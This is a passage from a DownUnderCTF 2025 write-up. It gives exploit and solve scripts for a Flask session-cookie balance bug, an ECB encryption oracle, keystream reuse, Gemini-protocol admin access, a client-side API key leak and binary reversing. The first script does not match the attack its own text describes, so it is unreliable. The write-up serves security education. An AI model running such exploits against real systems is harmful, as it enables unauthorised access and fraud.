- Rich Check: To get the flag, we need to have more than 1 trillion AUD: ```python SUPER_RICH = 1_000_000_000_000
def are_you_rich(): balance_aud = user_balances.get(u, 0) / CURRENCY_CONVERSIONS[currency] if balance_aud > SUPER_RICH: return render_template(โare-you-rich.htmlโ, message=fโYES YOU ARE! HERE IS A FLAG {FLAG}โ)
1
2
3
4
5
3. **The Vulnerability**: In the `change_currency` function, there's a critical flaw:
```python
if u not in user_balances:
user_balances[u] = STONKS_GIFT * user_currencies[u]
This line is the key vulnerability! If a userโs balance is somehow missing from user_balances, it gets reset to STONKS_GIFT * user_currencies[u]. The problem is that user_currencies[u] can be set to any numeric value, not just valid currency codes.
The Real Vulnerability:
The problem is with how Flask session cookies work - theyโre stateless. The application uses the currency value from the userโs session cookie for currency conversions, but you can reuse old session cookies with different currency values to break the conversion logic.
Hereโs how the currency conversion works:
1
user_balances[u] = (user_balances[u] / CURRENCY_CONVERSIONS[old_currency]) * CURRENCY_CONVERSIONS[new_currency]
The issue is that old_currency comes from session["currency"], which can be manipulated by reusing old session cookies.
Attack Steps:
Set up the session: First, I went to the website, registered an account, and set my currency to GBP through the website interface. I saved this session cookie.
Exploit the conversion: Using the saved GBP session cookie, I repeatedly sent requests to
POST /change-currencyto convert from GBP to IDR multiple times.- Balance inflation: Each time I made this request with the GBP session cookie, the calculation became:
1
Balance_new = Balance_old / 0.48 ร 10597.38
This means each conversion multiplies the balance by approximately 22,000!
- Repeat until rich: I kept running the script and manually changing currencies until the balance exceeded 1,000,000,000,000 AUD.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
BASE = "https://[link-to-challenge]/"
s = requests.Session()
def register():
s.post(BASE + "/register", data={
"username": "master",
"password": "master",
"confirm_password": "master"
})
s.post(BASE + "/login", data={
"username": "master",
"password": "master"
})
def set_fake_currency(numeric_value):
# Manually force currency to a numeric value
s.post(BASE + "/change-currency", data={
"currency": str(numeric_value) # not in conversions
})
def trigger_balance_reset():
# Delete your balance by making it disappear
# (simulate by restarting server or modifying code if needed)
# Then trigger change-currency which runs:
# user_balances[u] = STONKS_GIFT * user_currencies[u]
s.post(BASE + "/change-currency", data={
"currency": "IDR"
})
def check_flag():
r = s.get(BASE + "/are-you-rich")
print(r.text)
register()
set_fake_currency(1e13) # set currency to a huge number
trigger_balance_reset() # this will multiply 50 * 1e12 = 5e13
check_flag()
The key insight is that by reusing the GBP session cookie while converting to IDR, I could exploit the stateless nature of Flask sessions to perform the same high-multiplication currency conversion repeatedly, inflating the balance exponentially.
Flag: DUCTF{r3u5iNg_d3R_S35510N5_4_St000o0oONKsS5!}
Challenge 10: ECB-A-TRON 9000
Solves: 219
Category: Beginner / Crypto
Description
I AM ECB A TRON 9000 FEED ME YOUR CODEBOOKS
Weโre presented with a web interface that allows us to encrypt our input:
The interface shows input fields for entering text, with โEncryptโ and โHelpโ buttons.
Help
Help The ECB-A-TRON 9000 appends a secret phrase to your input before encrypting. Can you abuse this somehow and recover the secret? Wrap the secret phrase like this:DUCTF{<secret phrase>}for the flag
Hints
- To get you started, have a look at this page (https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_(ECB))
- The secret phrase consists of only capital English characters.
- If the plaintext length isnโt divisible by 16, it is padded with space (0x20) characters.
- Use brute force mode if you need to repeat many requests for a single position!
Why This Attack Works
This challenge exploits a fundamental weakness in ECB (Electronic Codebook) mode encryption. In ECB mode:
- Deterministic encryption: Identical plaintext blocks always produce identical ciphertext blocks
- Block independence: Each 16-byte block is encrypted separately
- No randomization: The same input always produces the same output
The vulnerability occurs because we can control part of the input and observe how it affects the encrypted output. Since the secret is appended to our input, we can manipulate block boundaries to isolate and identify each character of the secret.
Solve
Attack Strategy: By carefully crafting our input length, we can align the secret phrase with block boundaries and use ECBโs deterministic nature to reveal the secret character by character.
Step-by-step process:
- Find the first character:
- Input:
AAAAAAAAAAAAAAA(15 Aโs) - This creates:
AAAAAAAAAAAAAAA+[FIRST_CHAR_OF_SECRET]+ rest of secret - The first block becomes:
AAAAAAAAAAAAAAA[FIRST_CHAR] - Encrypted result:
yg06AwD25jSyH853SVeACA...
- Input:
- Brute force the first character:
- Try
AAAAAAAAAAAAAAAD,AAAAAAAAAAAAAAAE, etc. - When we input
AAAAAAAAAAAAAAAD, we get the same first block:yg06AwD25jSyH853SVeACA - This confirms the first character is
D
- Try
- Continue the pattern:
- For second character:
AAAAAAAAAAAAAD+[SECOND_CHAR] - For third character:
AAAAAAAAAAAD+[KNOWN_CHARS]+[THIRD_CHAR] - And so onโฆ
- For second character:
Implementation: Using the siteโs โbrute force modeโ feature, we systematically recovered each character by comparing encrypted blocks until we found matches.
Output:
1
Secret phrase: DONTUSEECBPLEASE
Flag: DUCTF{DONTUSEECBPLEASE}
Challenge 11: Hungry Hungry Caterpillar
Solves: 208
Category: Beginner / Crypto
Description
Just like how the author confused chrysalides for cocoons, I always get the title of this book confused.
NOTE: The flag format isDUCTF{[a-z_]*}
Weโre given two files: challenge.py and output.txt.
Challenge Analysis
Looking at challenge.py, we can see the encryption logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
import os
def xor(a, b):
return bytes(left ^ right for left, right in zip(a, b))
def main():
flag = open("flag.txt", "rb").read()
assert flag[1] == ord("U")
flag += os.urandom(len(flag) * 6)
keystream = os.urandom(len(flag))
print(f"""
[Story text...]
On Monday he ate through one apple. But he was still hungry.
{xor(flag[::1], keystream).hex()}
On Tuesday he ate through two pears, but he was still hungry.
{xor(flag[::2], keystream).hex()}
On Wednesday he ate through three plums, but he was still hungry.
{xor(flag[::3], keystream).hex()}
[... continues for each day with different strides ...]
""")
Key observations:
- The flag is padded with 6 times its length in random bytes
- A single keystream is used to XOR different strides of the extended flag
- We get 7 different outputs:
flag[::1],flag[::2], โฆ,flag[::7] - We know
flag[1] == 'U'and the flag formatDUCTF{[a-z_]*}
The Vulnerability
The vulnerability lies in reusing the same keystream with different strides. This creates relationships between the encrypted outputs that we can exploit:
output_1[i] = flag[i] โ keystream[i]output_k[i] = flag[k*i] โ keystream[i]
Therefore: output_1[i] โ output_k[i] = flag[i] โ flag[k*i]
This means if we know one of flag[i] or flag[k*i], we can recover the other!
Solve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import binascii
# Paste hex outputs from the challenge here (shortened examples)
output_1_hex = "f3c9202e92ad822d2370f86fe79b4ad0ec27d69ddeb95fc77e6ba7dfa987054137632111ba2901747b831b118444286d280ab8ad2cc701d3a40706f6da7e079b4c53931f3949fdaec7c0a18d318704fd51610080ec553d57f21ae8506584efe46e8a16078b4f71f3d41eac2076bd4d8dd32d7ad93d682c6152b885a5db05061a17f0884a2ef037e09cdae260f5ca51e12b7e91f9a0134351e31ab7270f8a8b4f18986d93d277691905f84149c8f72eeb4c9fbab4281721a8dba241e8e99b5f3aef8a1fe5777bf03416e4c1b78cecfea79d76df95768110e556b4f1a9f8570aa48d2d6173110a4212114cdd1522483c0ee9b84696a796766feb29875899488533e2b5763287364709f279e41b7f32f408093cdf0abcf3344f96d35401215d32736beb5b4a2943c4ebe60e43dce10aafd5a3f61202bc10c4fb930a5dedc8e447280483d20e1c85db4469a6c69200613641a1c8794b6ef8d227cdfb009f68d37e7519c6e08dab661368b36d5acfb22c9b942b05703544ef8ba21651c2855592d62646ca1253fdcaaf0fa18c001e74934fc78dceefdc95987835cf2188eddac55c6856bba83fd2a0f75076584fa599abd737b71c041cd94eb6f481e08cec201d6764e49ae8f68a2b53dee888bdcaf25b6d149c6ac71c3fbeeba30ce06489adcf532abba9bd023cf8bed44c6d4a972fa9033d86"
output_2_hex = "f3df250eb1be98371946e47ff98f57ddec2ada99c6b465f7515ab5dea19a2e463769256ff5037d27d725c2d4a70daa249ef247b8a7346f04238a246817e649546c5b8e1f05cc153cafde3745fa154634d5abaa67bbfff0e191c6349917007866071e22809a719e8f72e9656fe2198605b3af66938553829b0065f1691d2565fdb789761f85b878158fc538d813cc3e4f3e90ec97a5bb93301918a556d0c45d00e9bd91285e660ea7087d6d38f229e31d4d9709d25a2a4d9a8565ae37c9b4881e75658ed1f00b71852219ddf3cdd4f10445dbd9cb9aa0daf1a3910820e727c0f4ff9f68c927ffc23f1b4d376f5825ff72e515314b83fee3a88f"
output_3_hex = "f3c81725baaf9f293642e479ec9559deec14d386f5a753e5244eee5e7ed74f7881250a52dd1293f4853fc70caf6cbf33353464c435e54b732cb0fd27672ebdb293755843f938371b7b5d3827c335ecca5162d6c28a4a9c6551a97ceeaa8cfe9ed07bbe6e78fe0f81994732b9ae2d2b3ad1c2318c294f6be1509a7f6cc052cfa47209929e79e196b42187b5d3d176572a0a949b3a65ec93c2ec7bba304f0f189a905679963b7a"
output_4_hex = "f3da06148ba2862a194afc45d69d5ff6ec2e95e56a6d4675e7a53eb026b8e308177419879d95b665538f9519c4d1d8b3f7c6565701fdfbcf43969cc645928f37cca525501616f353baa33295000799e224572600b6d3ca2c907546f549ef58b19d8fa501ae6ddf80aaef89a517e099cfc1a650138fb9f8580c12d5fc79"
output_5_hex = "f3e70b03a08982312a58fe7fd69032d37396818d3be288839c37b0ed2484c3072cc5370a3d979757977fbab0a2e316cdb718f530d70ec7ccc776f65ae7cf3787a6002eba077a6ecb7dcdf2a30c5440fc258662c192dd4deee868b48f59ec7c824b6794ea"
output_6_hex = "f3e80d13a4a293241943cf73a3c680975a01bd0b38684e604c86ac94296193fce8a2e5a5499a8fcfd7f3a47504996535205ab4c6eaaab76221c1302f151c529d0941d9beb89b313a8ed4f295f51806a75dbf43"
output_7_hex = "f3f41116bba29724215d9a8231dba19e53dc02eb488a30d7e15b3ae96ba7b1bbe82a2d1601d63b8413174b56c35d2df7959d4fe5cf5e19fde97b7f7c43f1df75e1c7fd1ff2b5ec"
# Convert to bytes
outputs = [
binascii.unhexlify(output_1_hex),
binascii.unhexlify(output_2_hex),
binascii.unhexlify(output_3_hex),
binascii.unhexlify(output_4_hex),
binascii.unhexlify(output_5_hex),
binascii.unhexlify(output_6_hex),
binascii.unhexlify(output_7_hex),
]
flag_len = len(outputs[0]) # length of flag+padding (stride 1 output)
max_index = (flag_len // 7) # We don't know flag length exactly, guess max
# Known start of flag (ASCII)
# From the assertion: flag[1] = 'U'
# We know the format: D U C T F { ...
known_flag_start = b"DUCTF{"
# We'll create a list to hold recovered flag bytes
recovered_flag = [None] * max_index
# Initialize with known bytes from known_flag_start
for i in range(len(known_flag_start)):
recovered_flag[i] = known_flag_start[i]
# Helper function to XOR two bytestrings
def bxor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
print("[*] Starting recovery...")
# Use the relationship:
# output_1[i] XOR output_k[i] = flag[i] XOR flag[k*i]
# If flag[i] known, can get flag[k*i], and vice versa.
changed = True
while changed:
changed = False
for k in range(2, 8): # for outputs 2 to 7
out1 = outputs[0]
outk = outputs[k-1]
length = min(len(out1), len(outk))
for i in range(length):
idx1 = i
idx2 = k * i
if idx2 >= max_index:
continue
val1 = out1[i]
valk = outk[i]
xor_flag = val1 ^ valk # = flag[i] XOR flag[k*i]
f1 = recovered_flag[idx1]
f2 = recovered_flag[idx2]
if f1 is not None and f2 is None:
recovered_flag[idx2] = f1 ^ xor_flag
changed = True
elif f2 is not None and f1 is None:
recovered_flag[idx1] = f2 ^ xor_flag
changed = True
# else if both known or both unknown, no update
print("[*] Recovery done.\n")
# Try to print the flag
print("Recovered flag bytes (partial or full):")
# Print as ASCII where possible, '.' if unknown
flag_str = ""
for b in recovered_flag[:]: # print all bytes
if b is None:
flag_str += "."
elif 32 <= b < 127:
flag_str += chr(b)
elif b == recovered_flag[-1]:
flag_str += "}"
break
else:
flag_str += "?"
print(flag_str)
Running the recovery script gives us:
1
DUCTF{the_h.n.ry_.i.tl..p_.mo.t._..te...l.a..w.._an...l.g..._..r_.....}
This is a partial recovery. Now we need to fill in the gaps using context and educated guessing:
Step 1: Recognize the pattern - this appears to be related to โThe Very Hungry Caterpillarโ story Step 2: Fill in obvious words:
the_h.n.ryโthe_hungry.i.tl.โlittle_..te...l.a.โcaterpillar
Step 3: Continue pattern recognition with some calculations:
1
DUCTF{the_hungry_little_p_smooth_caterpillar_w.._an_a.legor._for_life}
Step 4: Final guessing for remaining gaps:
w..โwona.legor.โallegory
Output:
1
2
Partial flag: DUCTF{the_h.n.ry_.i.tl..p_.mo.t._..te...l.a..w.._an...l.g..._..r_.....}
Final flag: DUCTF{the_hungry_little_p_smooth_caterpillar_won_an_allegory_for_life}
Flag: DUCTF{the_hungry_little_p_smooth_caterpillar_won_an_allegory_for_life}
Challenge 12: Horoscopes
Solves: 199
Category: Beginner / Misc
Description
Hey Sis! Its getting pretty bad out here.. they keep telling us to connect on this new and improved protocol. The regular web is being systematically attacked and compromised
Little Tommy has been born! Heโs a Taurus just a month before matching his mum and dad! Hope to see you all for Christmas
Love, XXXX
Connection: nc chal.2025.ductf.net 30015
Solve
We start by connecting to the given netcat service to see what weโre dealing with:
1
nc chal.2025.ductf.net 30015
However, any input we send just returns 2. This seems unusual, so letโs examine the raw response using xxd:
1
2
nc chal.2025.ductf.net 30015 | xxd
00000000: 1503 0300 0202 32 ......2
The response starts with 15 03 03, which is the TLS handshake pattern! This indicates weโre dealing with a TLS-encrypted connection, not plain text.
Letโs try connecting with OpenSSL:
1
openssl s_client -connect chal.2025.ductf.net:30015
This establishes a TLS connection but waits for our input. However, basic HTTP requests donโt work. After some experimentation with different flags:
1
openssl s_client -connect chal.2025.ductf.net:30015 -crlf -ign_eof
Now when we send something, we get an error:
1
59 Invalid URL
Letโs try using HTTPS protocol:
1
https://chal.2025.ductf.net
Response:
1
53 Unsupported URL scheme
This tells us the protocol is wrong. Looking back at the challenge description, thereโs a hint about a โnew and improved protocolโ and the mention of problems with the โregular webโ.
The key insight is that this is referencing the Gemini protocol - a simple, privacy-focused internet protocol thatโs an alternative to HTTP/HTTPS.
Letโs try a Gemini request:
1
gemini://chal.2025.ductf.net
Response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Welcome to the Wasteland Network
The year is 2831. It's been XXXX years since The Collapse. The old web is dead - corrupted by the HTTPS viral cascade that turned our connected world into a weapon against us.
But we survive. We adapt. We rebuild.
This simple Gemini capsule is one node in the new network we're building - free from the complexity that doomed the old internet. No JavaScript. No cookies. No tracking. Just pure, clean information exchange.
Some pages are struggling with corruption as we take further attacks.
## Navigation
=> /survival.gmi Survival Basics: First Steps in the New World
=> /salvaging.gmi Tech Salvaging: Safe Computing After the Fall
=> /community-hub.gmi Community Hub: Finding Other Survivors
=> /about-us.gmi About the Wasteland Network
## Daily Advisory
โ ALERT: Increased bot activity reported in old HTTP sectors 44-48. Avoid all mainstream browser use in these digital quadrants.
โ REMINDER: Always verify capsule certificates before sharing sensitive information. Trust no one who won't use Gemini protocol.
โ WARNING: Protocol has sustainnnnnned damages. Corruption detected within [------]. ProceeX with cauXXXn
## Message of the Day
DUCTF{g3mini_pr0t0col_s4ved_us}
"The old web was a mansion with a thousand unlocked doors. The new web is a bunker with one good lock."
- Ada, Network Founder
Remember: Simple is safe. Complex is compromise.
## Update Log
* 2831-04-04: Added new communications relay points in sectors 7 and 9
* 2831-04-03: Updated survival maps for Western salvage zones
* 2831-04-01: Repaired node connection to Australian wasteland network
Flag: DUCTF{g3mini_pr0t0col_s4ved_us}
Challenge 13: Wiki
Solves: 168
Category: Beginner / Misc
Description
Use the Wiki to find the flagโฆ
NOTE: This challenge is a continuation of โHoroscopesโ, we recommend you complete that challenge first!
Solve
This challenge builds upon the Horoscopes challenge, so we know we need to use the Gemini protocol to connect to chal.2025.ductf.net:30015.
From exploring the previous challenge, we discovered thereโs a linker page at /linker.gmi that contains links to all available pages on the site. Looking at the linker page, we can see there are many pages available - over 100 different links to various content.
Since we need to search through all these pages to find the flag, manual exploration would be time-consuming. Instead, we can write a script to automatically fetch all pages and search for the flag.
Python Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import socket
import ssl
import time
import urllib.parse
import os
HOST = "chal.2025.ductf.net"
PORT = 30015
BASE_URL = "gemini://chal.2025.ductf.net"
def send_gemini_request(path="gemini://chal.2025.ductf.net/"):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
time.sleep(5) # wait 5 seconds before sending request
request = path + "\r\n"
ssock.sendall(request.encode())
time.sleep(1) # wait 1 second for response
response = b""
while True:
try:
data = ssock.recv(4096)
if not data:
break
response += data
except socket.timeout:
break
return response.decode(errors='ignore')
def build_absolute_url(current_url, link):
parsed = urllib.parse.urlparse(current_url)
base_path = parsed.path
if base_path.endswith('/'):
base_dir = base_path
else:
base_dir = base_path.rsplit('/', 1)[0] + '/'
link_stripped = link.lstrip('/')
new_path = urllib.parse.urljoin(base_dir, link_stripped)
return f"{parsed.scheme}://{parsed.netloc}{new_path}"
def scrape_links_from_response(response):
links = []
for line in response.splitlines():
if line.startswith("=>"):
parts = line.split(maxsplit=2)
if len(parts) >= 2:
links.append(parts[1])
return links
def save_content_to_file(url, content):
parsed = urllib.parse.urlparse(url)
filename = os.path.basename(parsed.path)
if not filename:
filename = "index.gmi"
# Replace any problematic chars in filename
filename = filename.replace('/', '_')
with open(filename, "w", encoding="utf-8") as f:
f.write(content)
def main():
start_path = BASE_URL + "/linker.gmi"
print(f"Fetching links from {start_path} ...")
response = send_gemini_request(start_path)
links = scrape_links_from_response(response)
if not links:
print("No links found.")
return
absolute_links = [build_absolute_url(start_path, link) for link in links]
print(f"Found {len(absolute_links)} links. Fetching each...")
for url in absolute_links:
print(f"Fetching {url} ...")
content = send_gemini_request(url)
save_content_to_file(url, content)
print(f"Saved {url} content.")
if __name__ == "__main__":
main()
After running this script to download all the pages, we can search for flags using grep:
1
grep -ri "DUCTF{" .
Output:
1
2
./index.gmi:DUCTF{g3mini_pr0t0col_s4ved_us}
./rabid_bean_potato.gmi:DUCTF{rabbit_is_rabbit_bean_is_bean_potato_is_potato_banana_is_banana_carrot_is_carrot}
The first flag is from the Horoscopes challenge, and the second flag is what weโre looking for in the Wiki challenge.
Flag: DUCTF{rabbit_is_rabbit_bean_is_bean_potato_is_potato_banana_is_banana_carrot_is_carrot}
Challenge 14: Trusted
Solves: 105
Category: Beginner / Misc
Description
It looks like they never really finished their admin panel.. Or they let the intern do it. The connection info and credentials are all inside the server, but we canโt seem to get in.
Maybe you can take a look at it and tell us whats behind the admin panel?
NOTE: This challenge is a continuation of โHoroscopesโ, we recommend you complete that challenge first!
Solve
This challenge continues the Gemini protocol series. Since we already have all the pages downloaded from the Wiki challenge, we can search through them for admin-related information.
First, letโs search for โadminโ references in our downloaded files:
1
grep -ri "admin" .
Output:
1
2
./community-hub.gmi:## Admin Panel
./community-hub.gmi:To access the community admin panel connect to port: 756f
Letโs examine the community-hub.gmi file more closely:
1
cat community-hub.gmi
Key information from the file:
1
2
3
## Admin Panel
To access the community admin panel connect to port: 756f
Use the daily code phrase to prove you're not a bot.
The port 756f is in hexadecimal, which converts to decimal port 30063.
Letโs try connecting to this port:
1
nc chal.2025.ductf.net 30063
The connection closes quickly if we donโt send data immediately, so letโs use a pipe to send a Gemini request:
1
echo -e "gemini://chal.2025.ductf.net/" | nc chal.2025.ductf.net 30063
Response:
1
2
3
4
5
20 text/gemini
# Admin Panel
This page is under construction!
If you are the admin, you should login
=> password_protected.gmi Login
Now letโs access the login page:
1
echo -e "gemini://chal.2025.ductf.net/password_protected.gmi" | nc chal.2025.ductf.net 30063
Response:
1
11 Moonlight reflects twice on still water
This appears to be a challenge-response authentication. We need to find the response to this phrase in our downloaded files. Letโs search:
1
grep -ri "Moonlight reflects twice on still water" .
Looking through the verification-codes.gmi file, we find:
1
2
3
## Daily Code Phrase
Today's authentication phrase: "Moonlight reflects twice on still water"
Response: "But+ripples+show=truth%in motion"
Now we need to URL-encode this response and send it as a query parameter:
1
echo -e "gemini://chal.2025.ductf.net/password_protected.gmi?But%2Bripples%2Bshow%3Dtruth%25in%20motion" | nc chal.2025.ductf.net 30063
Response:
1
2
3
4
20 text/gemini
# Welcome, Admin!
You have successfully logged in.
> DUCTF{Cr1pPl3_Th3_1nFr4sTrUCtu53}
Flag: DUCTF{Cr1pPl3_Th3_1nFr4sTrUCtu53}
๐ Web Challenges
Challenge 1: Mini-Me
Solves: 855
Categories: web
Description
The app looks scrambled and full of brainrot! But thereโs more than meets the eye. Dive into the code, connect the dots, and see if you can uncover whatโs really going on behind the scenes, or right at the front!
Challenge URL:
https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/
Reconnaissance
1
2
3
4
5
6
# Initial directory structure analysis
.
โโโ app.py
โโโ templates
โโโ confidential.html
โโโ index.html
Examining the Flask application (app.py), we find several key endpoints:
/- Main index page/login- Redirects to confidential page/confidential.html- Confidential page/admin/flag- Flag endpoint requiring API key authentication
Vulnerability Assessment
The critical vulnerability lies in client-side exposure of sensitive information. The application contains:
- Source Map Exposure: A comment in the minified JavaScript hints at a source map file
- Obfuscated Client-Side Secret: The source map reveals an obfuscated function containing the API key
- Weak Obfuscation: The obfuscation uses simple XOR operations that can be easily reversed
From the source map file (test-main.min.js.map), we discovered the qyrbkc() function containing obfuscated character codes that decode to the API secret key.
Exploitation
Step 1: Extract the obfuscated codes from the source map
1
2
// From the qyrbkc() function in test-main.min.js.map
const codes = [85, 87, 77, 67, 40, 82, 82, 70, 78, 39, 95, 89, 67, 73, 34, 68, 68, 92, 84, 57, 70, 87, 95, 77, 75];
Step 2: Decode the XOR obfuscation
1
2
3
4
5
6
7
8
9
10
codes = [85, 87, 77, 67, 40, 82, 82, 70, 78, 39, 95, 89, 67, 73, 34, 68, 68, 92, 84, 57, 70, 87, 95, 77, 75]
decoded_chars = []
for i, c in enumerate(codes):
decoded_char = chr(c ^ (i + 1))
decoded_chars.append(decoded_char)
decoded_string = ''.join(decoded_chars)
print(decoded_string)
# Output: TUNG-TUNG-TUNG-TUNG-SAHUR
Step 3: Use the decoded API key to retrieve the flag
1
2
curl -X POST https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/admin/flag \
-H "X-API-Key: TUNG-TUNG-TUNG-TUNG-SAHUR"
Flag: DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
๐ Reverse Engineering
Challenge 1: Rocky
Solves: 522
Categories: rev
Description
An underdog boxer gets a once-in-a-lifetime shot at the world heavyweight title and proves his worth through sheer determination.
Reconnaissance
1
2
3
4
# Test the binary
./rocky
Enter input: randomstring
Hash mismatch :(
The binary prompts for input and performs some kind of hash comparison. Letโs analyze it with reverse engineering tools.
Vulnerability Assessment
Using Ghidra to decompile the binary, we find the main function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
undefined8 main(void)
{
int iVar1;
size_t sVar2;
undefined1 local_68 [32];
undefined1 local_48 [16];
char local_38 [32];
undefined8 local_18;
undefined8 local_10;
local_18 = 0xd2f969f60c4d9270;
local_10 = 0x1f35021256bdca3c;
printf("Enter input: ");
fgets(local_38,0x11,stdin);
sVar2 = strcspn(local_38,"\n");
local_38[sVar2] = '\0';
md5String(local_38,local_48);
iVar1 = memcmp(&local_18,local_48,0x10);
if (iVar1 == 0) {
puts("Hash matched!");
reverse_string(local_38,local_68);
decrypt_bytestring(local_38,local_68);
}
else {
puts("Hash mismatch :(");
}
return 0;
}
Analysis:
- The program stores two 64-bit values:
0xd2f969f60c4d9270and0x1f35021256bdca3c - It takes user input and calculates its MD5 hash
- It compares the inputโs MD5 hash with the stored values
- If they match, it calls
reverse_string()anddecrypt_bytestring()functions
The vulnerability is that the expected MD5 hash is hardcoded in the binary and can be extracted for cracking.
Exploitation
Step 1: Extract the MD5 hash from the hardcoded values
1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
# Original 64-bit values (little-endian from Ghidra)
first = 0xd2f969f60c4d9270
second = 0x1f35021256bdca3c
# Convert to bytes in little-endian format
first_bytes = struct.pack('<Q', first) # '<Q' means little-endian 64-bit
second_bytes = struct.pack('<Q', second)
# Combine and convert to hex
md5_hash = (first_bytes + second_bytes).hex()
print(md5_hash) # Output: 70924d0cf669f9d23ccabd561202351f
Step 2: Crack the MD5 hash
Using an online MD5 cracking service like CrackStation:
1
70924d0cf669f9d23ccabd561202351f => emergencycall911
Step 3: Run the binary with the cracked input
1
2
3
4
./rocky
Enter input: emergencycall911
Hash matched!
DUCTF{In_the_land_of_cubicles_lined_in_gray_Where_the_clock_ticks_loud_by_the_light_of_day}
Flag: DUCTF{In_the_land_of_cubicles_lined_in_gray_Where_the_clock_ticks_loud_by_the_light_of_day}
Challenge 2: Skippy
Solves: 313
Categories: rev
Description
Skippy seems to be in a bit of trouble skipping over some sandwiched functions. Help skippy get across with a hop, skip and a jump!
Reconnaissance
1
2
3
# Check file type
file skippy.exe
skippy.exe: PE32+ executable (console) x86-64, for MS Windows, 19 sections
This is a Windows PE executable that we need to reverse engineer. Letโs analyze it with a disassembler.
Vulnerability Assessment
Using Ghidra to decompile the binary, we can see the program structure:
Main Function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main(int *Argc, char ***Argv, char **_Env)
{
char local_48 [32]; // IV array
char local_28 [32]; // Key array
// Initialize key array with negative values
local_28[0] = -0x1a; // Will become 0x73 after right shift
local_28[1] = -0x2a; // Will become 0x6b after right shift
// ... (continues for 16 bytes)
sandwich(local_28); // Process key
// Initialize IV array with negative values
local_48[0] = -0x2a; // Will become 0x6b after right shift
local_48[1] = -0x3e; // Will become 0x61 after right shift
// ... (continues for 16 bytes)
sandwich(local_48); // Process IV
decrypt_bytestring((longlong)local_28,(undefined8 *)local_48);
return 0;
}
Key Analysis:
- The program initializes two arrays with negative byte values
- These arrays are processed by the
sandwich()function - The
sandwich()function callsstone(), thendecryptor(), thenstone()again - The
decryptor()function performs a right bit shift operation on each byte - Finally,
decrypt_bytestring()uses AES-CBC decryption
Decryptor Function:
1
2
3
4
5
6
void decryptor(longlong param_1)
{
for (local_10 = 0; local_10 < 0x10; local_10 = local_10 + 1) {
*(byte *)(local_10 + param_1) = *(byte *)(local_10 + param_1) >> 1;
}
}
This function right-shifts each byte by 1 bit, effectively dividing by 2.
Exploitation
Step 1: Calculate the key and IV after processing
The negative values are stored as twoโs complement, and after right-shifting:
1
2
3
4
5
6
7
8
9
10
11
# Original negative values for key
key_raw = [-0x1a, -0x2a, -0x2e, -0x20, -0x20, -0xe, -0x42, -0x18,
-0x30, -0x36, -0x42, -0x3c, -0x16, -0x1a, -0x30, -0x42]
# Original negative values for IV
iv_raw = [-0x2a, -0x3e, -0x24, -0x32, -0x3e, -0x1c, -0x22, -0x22,
-0x22, -0x22, -0x22, -0x22, -0x22, -0x22, -0x22, -0x22]
# Convert to unsigned bytes and right shift by 1
key = bytes([(256 + x) >> 1 for x in key_raw])
iv = bytes([(256 + x) >> 1 for x in iv_raw])
Step 2: Extract encrypted data from the binary
The encrypted data is stored at DAT_14000a000 in the binary (96 bytes).
Step 3: Decrypt using AES-CBC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Cipher import AES
# Key and IV (after right-shifting)
key = bytes([0x73, 0x6b, 0x69, 0x70, 0x70, 0x79, 0x5f, 0x74,
0x68, 0x65, 0x5f, 0x62, 0x75, 0x73, 0x68, 0x5f])
iv = bytes([0x6b, 0x61, 0x6e, 0x67, 0x61, 0x72, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f])
# Encrypted data (96 bytes from the binary)
encrypted_data = bytes.fromhex(
"ae27241b7ffd2c8b3265f22ad1b063f0"
"915b6b95dcc0eec14de2c563f7715594"
"007d2bc75e5d614e5e51190f4ad1fd21"
"c5c4b1ab89a4a725c5b8ed3cb3763072"
"7b2d2ab722dc9333264725c6b5ddb00d"
"d3c3da6313f1e2f4df5180d5f3831843"
)
# Decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_data)
# Print the decrypted flag
print(decrypted.decode('utf-8', errors='ignore'))
Flag: DUCTF{There_echoes_a_chorus_enending_and_wild_Laughter_and_gossip_unruly_and_piled}
๐ค AI Challenges
Challenge 1: ductfbank 1
Solves: 657
Category: AI
Description
Iโm from DownUnderCTF Bank. As part of your companyโs business relationship with us, we are pleased to offer you a complimentary personal banking account with us. A link to our website is below. If you have any further queries, please donโt hesitate to contact me!
Files Structure
1
2
3
4
5
6
7
8
.
โโโ agent_snip.ts
โโโ bank_service.ts
โโโ routes
โโโ ai.ts
โโโ dashboard.ts
โโโ layouts.ts
โโโ login.ts
Approach
This challenge involves interacting with an AI banking assistant that has access to various tools for managing bank accounts. The key insight comes from analyzing the provided source code snippets.
From agent_snip.ts, we can see thereโs a create_account tool:
1
2
